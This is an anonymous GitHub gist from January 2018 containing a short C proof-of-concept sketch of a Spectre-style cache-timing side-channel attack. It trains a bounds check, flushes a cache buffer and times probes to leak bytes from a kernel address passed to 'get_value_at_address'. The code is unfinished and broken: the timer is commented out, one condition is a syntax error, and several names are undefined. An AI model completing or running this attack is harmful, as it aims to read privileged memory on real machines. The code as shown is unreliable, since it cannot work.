Created
January 5, 2018 01:11
-
-
Save anonymous/799af20f8709498650b9be65feb3fcec to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#define CACHE_SIZE 256 | |
#define NO_CACHES 1024 | |
char a[CHAR_MAX*CACHE_SIZE]; | |
char *b; | |
char f[NO_CACHES*CACHE_SIZE]; | |
int limit = 1; | |
//replace cache with f | |
void clear_cache() | |
{ | |
volatile char w; | |
int i; | |
for(i=0;i<sizeof(f);i++) | |
{ | |
w = f[i]; | |
} | |
} | |
int try_value(char v) | |
{ | |
int i; | |
int index=0; | |
volatile int discard; | |
for(i=0;i<256;i++) | |
{ | |
clear_cache(); | |
if(index<limit) | |
{ | |
discard = a[b[index]*CACHE_SIZE]; | |
} | |
if(i==254) | |
{ | |
index = 1; | |
} | |
} | |
//start_timer(); | |
discard = a[v*CACHE_SIZE]; | |
//stop_timer(); | |
if(/*timer*/<timeout) | |
{ | |
return TRUE; | |
} | |
return FALSE; | |
} | |
char get_value_at_address(char *kaddr) | |
{ | |
int i; | |
b = kaddr-1; | |
for(i=0;i<256;i++) | |
{ | |
if(try_value(i)) | |
{ | |
return i; | |
} | |
} | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment